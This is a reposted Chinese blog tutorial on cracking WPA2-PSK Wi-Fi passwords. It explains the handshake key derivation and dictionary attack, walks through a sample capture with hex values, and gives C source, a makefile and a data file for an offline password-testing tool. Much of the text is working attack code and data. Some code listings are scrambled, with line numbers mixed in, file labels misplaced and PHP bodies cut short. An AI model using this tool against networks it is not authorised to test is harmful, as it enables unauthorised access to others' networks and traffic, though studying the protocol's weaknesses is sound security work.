转载声明
本文全文转载自无线网络WPA2加密的破解 - Zhou_Yuxin,在此致谢原作者
另外感谢@喵叔 帮忙联系到原作者获得转载授权
终于等到了这一天!平时学习任务繁重,没太多时间倒腾自己想弄的东西。最近终于抽出了3天,专攻了一下WPA2的加密方式,并且自己用php和C写出了代码。
在此首先感谢Sword York在slinuxer上发表的文章《WPA/WPA2-PSK认证过程》,如果没有他的python代码演示,我真不知道要如何下手。
阶段一:WPA2破解原理
WPA2相比WEP破解难度增加了很多,一个关键原因就是,WPA2的每次会话所使用的密钥都不相同,即每次会话都会随机生成一个临时密钥以加密数据。而这个临时密钥,则是在客户端连接上热点时,双方协商产生。因此,只有捕获了WPA2认证时的四次握手(我发现其实只需要前两次握手),才能破解密码。而破解密码只能使用穷举字典攻击,即每次试验一个可能的密码,然后按照WPA2的认证流程来产生哈希值,如果与握手包中的一致,那么极有可能就是正确的密码了。
因此,破解WPA2的关键就是两点——握手包、字典。
阶段二:WPA2认证过程
为了下述方便,下文中接入点就写作AP,工作站就写作STA。并假设下文所描述的认证过程是AP与一个合法的STA之间进行的。
而且出于一定的功利性,下文只讲述破解所需的前两次握手。
WPA2的认证过程是发生在Authentication与Association之后的。在四次握手开始之前,AP与一个合法的STA都已经知道了SSID和各自的MAC地址(AP的MAC地址记作AP_MAC,STA的MAC地址记作STA_MAC)。
在第一次握手之前:
AP与STA都知道wifi密码password、SSID,因此,通过算法
1 | psk=pbkdf2_sha1(password,ssid,4096,64); |
可以计算得到psk。其中password就是pbkdf2_sha1算法的密钥,ssid就是“盐(salt)”,4096是802.11规范规定的迭代次数,而64表示生成的psk是一个64字节的数据。pbkdf2_sha1算法可以参考《pbkdf2-shaX摘要算法以及C语言实现》。
之后,AP随机生成一个32字节的随机数,叫做AP_Nonce。
第一次握手:
AP向STA发送一个数据帧,包含了AP_Nonce。
在第一次握手与第二次握手之间:
STA收到AP_Nonce之后,也随机生成一个32字节的随机数,叫做STA_Nonce。此时STA同时知道了AP_MAC、STA_MAC、AP_Nonce和STA_Nonce四个要素,于是通过算法
1 | ptk_data="Pairwise key expansion\0" |
得到ptk。算法中,+号表示将数据段串联,min(a,b)表示a和b两端数据按字节比较,取小的那个,max(a,b)反之。因此ptk_data的长度是strlen(“Pairwise key expansion\0”)+26+232+1=23+12+64+1=100字节。
然后,把之前得到的psk当作密钥,对数据ptk_data进行hmac_sha1加密,得到一个长度为16字节的结果ptk。
再接下来,STA构造好要发送给AP的数据帧,把其中的数据负载部分(802.1X Authentication)取出,记作step2_data(step2_data共121字节),然后执行算法:
1 | mic=hmac_sha1(step2_data,ptk,16); |
第二次握手:
STA向AP发送一个数据帧,包含了一个关键数据STA_Nonce与mic。
于是,握手的前两次就算完成了。其实AP在收到第二次握手后,也以相同的算法计算mic,如果和客户端传来的相等,那么认为客户端有正确的密码。
阶段三:破解思路
由以上步骤可以得到破解思路如下:
由以上步骤可以得到破解思路如下:
抓包,得到前两次握手包,进而得到SSID、AP_MAC、STA_MAC、AP_Nonce、STA_Nonce、step2_data与mic。
选定一个可能的密码password,执行下列算法:
1
2
3
4
5
6
7
8
9psk=pbkdf2_sha1(password,SSID,4096,64);
ptk_data="Pairwise key expansion\0"
+min(AP_MAC,STA_MAC)
+max(AP_MAC,STA_MAC)
+min(AP_Nonce,STA_Nonce)
+max(AP_Nonce,STA_Nonce)
+"\0";
ptk=hmac_sha1(ptk_data,psk,16);
mic=hmac_sha1(step2_data,ptk,16);得到mic,与收集到的mic比较,如果相等,那么password极有可能就是正确的密钥了。
不断迭代步骤2,穷举整个字典,直到搜索到密码或穷尽为止。
阶段四:破解案例
该案例来自《WPA/WPA2-PSK认证过程》,再次表示感谢!
首先是抓到的四次握手数据帧,为了方便大家研究,在此提供下载链接。用wireshark打开以后,可以看到有4个握手包,如图:
这个热点的SSID是“TP-LINK_4F6C90”,这个无法从握手包中得知,不过要攻击者自己肯定知道。SSID转换成16进制就是:
1 | 54 50 2d 4c 49 4e 4b 5f 34 46 36 43 39 30 |
查看第一个握手包,可以看到如图:
所以得知AP_Nonce是
1 | 33 20 ce d2 53 5e d6 97 d5 2c 27 2a ee a7 99 d4 d1 88 a4 60 31 42 f3 7a 24 0f 80 64 d7 cd f5 88 |
同时也可以得知AP_MAC为
1 | 20 dc e6 4f 6c 90 |
STA_MAC为
1 | e0 b9 a5 1f e7 94 |
接着,查看第二个握手包,可以看到如图:
所以得知STA_Nonce是
1 | b4 45 5d 0b c4 46 64 5c 59 57 43 4f 65 3a d0 bf a5 9f 6b e1 a2 65 fb f3 3b 7d 54 7b 1b 48 45 34 |
同时,从第二个握手包中还可以得到MIC为
1 | 88 73 42 b8 16 1d f2 30 c8 48 80 cb e9 07 4f f8 |
如图:
现在就差step2_data了。step2_data就是LLC的负载,如图:
不过需要注意的是,客户端在计算mic之前,step2_data中mic对应的16字节全是0,所以step2_data应该是:
1 | 01 03 00 75 02 01 0a 00 00 00 00 00 00 00 00 00 01 b4 45 5d 0b c4 46 |
至此,所需的SSID、AP_MAC、STA_MAC、AP_Nonce、STA_Nonce、step2_data与mic都已经到手了。
让我们用php来写一个验证密码正确与否的函数:
1 | function is_password($p_handshake,$p_password) |
以上述的数据为例,使用该函数的代码如下:
1 | $g_handshake=array(); |
程序输出1,说明”LINUXZSJ”是该AP的密码。
阶段五:用C语言实现
php因为语法简单明晰,用来演示算法不错,但真用来大规模计算,效率不敢恭维。在我机器上,循环1000次,php用时12.6秒,而C用时2.6秒,将近5倍!
C语言的实现就不解释了,直接给出代码。共fastpbkdf2.h、fastpbkdf2.c、hmac.h、hmac_sha1.c、wpa2break.h、wpa2break.c和main.c七个文件。其中,fastpbkdf2.h和fastpbkdf2.c的源码请参考《pbkdf2-shaX摘要算法以及C语言实现》,而hmac.h、hmac_sha1.c的源码请参考《hmac-sha1摘要算法以及C语言实现》。以下给出wpa2break.h、wpa2break.c和main.c的源码~
- wpa2break.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
typedef struct
{
uint8_t ssid[WPA2_SSID_MAX_LEN];
uint8_t ssid_len;
uint8_t ap_mac[WPA2_MAC_LEN];
uint8_t sta_mac[WPA2_MAC_LEN];
uint8_t ap_nonce[WPA2_NONCE_LEN];
uint8_t sta_nonce[WPA2_NONCE_LEN];
uint8_t step2_data[WPA2_STEP2_DATA_LEN];
uint8_t step2_mic[WPA2_MIC_LEN];
struct
{
uint8_t ptk_data[WPA2_PTK_DATA_LEN];
}
mid_value;
}
wpa2_handshake_t;
void wpa2break_init_mid_value(wpa2_handshake_t* p_handshake);
int wpa2break_is_password(wpa2_handshake_t* p_handshake,uint8_t* p_password,uint8_t p_len); - wpa2break.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static void mem_min_max(uint8_t** p_min,uint8_t** p_max,uint8_t p_len)
{
int t_cmp=memcmp(*p_min,*p_max,p_len);
if(t_cmp>0)
{
uint8_t* p_temp=*p_min;
*p_min=*p_max;
*p_max=p_temp;
}
}
void wpa2break_init_mid_value(wpa2_handshake_t* p_handshake)
{
uint8_t* t_ptk_data=p_handshake->mid_value.ptk_data;
memcpy(t_ptk_data,WPA2_WORD,WPA2_WORD_LEN);
uint8_t* t_min=p_handshake->ap_mac;
uint8_t* t_max=p_handshake->sta_mac;
mem_min_max(&t_min,&t_max,WPA2_MAC_LEN);
memcpy(t_ptk_data+WPA2_WORD_LEN,t_min,WPA2_MAC_LEN);
memcpy(t_ptk_data+WPA2_WORD_LEN+WPA2_MAC_LEN,t_max,WPA2_MAC_LEN);
t_min=p_handshake->ap_nonce;
t_max=p_handshake->sta_nonce;
mem_min_max(&t_min,&t_max,WPA2_NONCE_LEN);
memcpy(t_ptk_data+WPA2_WORD_LEN+2*WPA2_MAC_LEN,t_min,WPA2_NONCE_LEN);
memcpy(t_ptk_data+WPA2_WORD_LEN+2*WPA2_MAC_LEN+WPA2_NONCE_LEN,t_max,WPA2_NONCE_LEN);
t_ptk_data[WPA2_PTK_DATA_LEN-1]=0;
memset(p_handshake->step2_data+WPA2_MIC_OFFSET,0,WPA2_MIC_LEN);
}
int wpa2break_is_password(wpa2_handshake_t* p_handshake,uint8_t* p_password,uint8_t p_len)
{
uint8_t t_psk[WPA2_PSK_LEN];
fastpbkdf2_hmac_sha1(p_password,p_len,p_handshake->ssid,p_handshake->ssid_len,WPA2_PBKDF2_LOOP,t_psk,WPA2_PSK_LEN);
uint8_t t_ptk[WPA2_PTK_LEN];
uint32_t t_ptk_len=WPA2_PTK_LEN;
hmac_sha1(t_psk,WPA2_PSK_LEN,p_handshake->mid_value.ptk_data,WPA2_PTK_DATA_LEN,t_ptk,&t_ptk_len);
uint8_t t_mic[WPA2_MIC_LEN];
uint32_t t_mic_len=WPA2_MIC_LEN;
hmac_sha1(t_ptk,WPA2_PTK_LEN,p_handshake->step2_data,WPA2_STEP2_DATA_LEN,t_mic,&t_mic_len);
return memcmp(p_handshake->step2_mic,t_mic,WPA2_MIC_LEN)==0;
} - main.c然后是makefile文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
static int hex2dig(char p_hex)
{
if('0'<=p_hex&&p_hex<='9')
return p_hex-'0';
if('a'<=p_hex&&p_hex<='f')
return p_hex-'a'+10;
return 0;
}
static void hex2bin(char* p_hex,uint8_t* p_bin)
{
int t_len=strlen(p_hex)/2;
int t_i;
for(t_i=0;t_i<t_len;t_i++)
p_bin[t_i]=hex2dig(p_hex[2*t_i])*16+hex2dig(p_hex[2*t_i+1]);
}
int main()
{
wpa2_handshake_t t_handshake;
FILE* t_file=fopen("ap1.txt","r");
char t_buffer[1024];
fgets(t_buffer,sizeof(t_buffer),t_file);
hex2bin(t_buffer,t_handshake.ssid);
t_handshake.ssid_len=strlen((char*)t_handshake.ssid);
fgets(t_buffer,sizeof(t_buffer),t_file);
hex2bin(t_buffer,t_handshake.ap_mac);
fgets(t_buffer,sizeof(t_buffer),t_file);
hex2bin(t_buffer,t_handshake.sta_mac);
fgets(t_buffer,sizeof(t_buffer),t_file);
hex2bin(t_buffer,t_handshake.ap_nonce);
fgets(t_buffer,sizeof(t_buffer),t_file);
hex2bin(t_buffer,t_handshake.sta_nonce);
fgets(t_buffer,sizeof(t_buffer),t_file);
hex2bin(t_buffer,t_handshake.step2_data);
fgets(t_buffer,sizeof(t_buffer),t_file);
hex2bin(t_buffer,t_handshake.step2_mic);
fclose(t_file);
wpa2break_init_mid_value(&t_handshake);
printf("%dn",wpa2break_is_password(&t_handshake,(uint8_t*)"LINUXZSJ",8));
return 0;
}并附上main.c中需要使用的ap1.txt文件:1
2
3
4
5
6
7
8
9
10
11
12
13
14main: main.o hmac_sha1.o fastpbkdf2.o wpa2break.o
gcc main.o hmac_sha1.o fastpbkdf2.o wpa2break.o -lcrypto -o main
main.o: main.c
gcc -c main.c -o main.o
hmac_sha1.o: hmac_sha1.c
gcc -c hmac_sha1.c -o hmac_sha1.o
fastpbkdf2.o: fastpbkdf2.c
gcc -c fastpbkdf2.c -std=c99 -o fastpbkdf2.o
wpa2break.o: wpa2break.c
gcc -c wpa2break.c -o wpa2break.oap1.txt一行表示一个数据,从上到下依次是SSID、AP_MAC、STA_MAC、AP_Nonce、STA_Nonce、step2_data和MIC。1
2
3
4
5
6
754502d4c494e4b5f344636433930
20dce64f6c90
e0b9a51fe794
3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588
b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534
0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b4845340000000000000000000000000000000000000000000000000000000000000000887342b8161df230c84880cbe9074ff8001630140100000fac040100000fac040100000fac020000
887342b8161df230c84880cbe9074ff8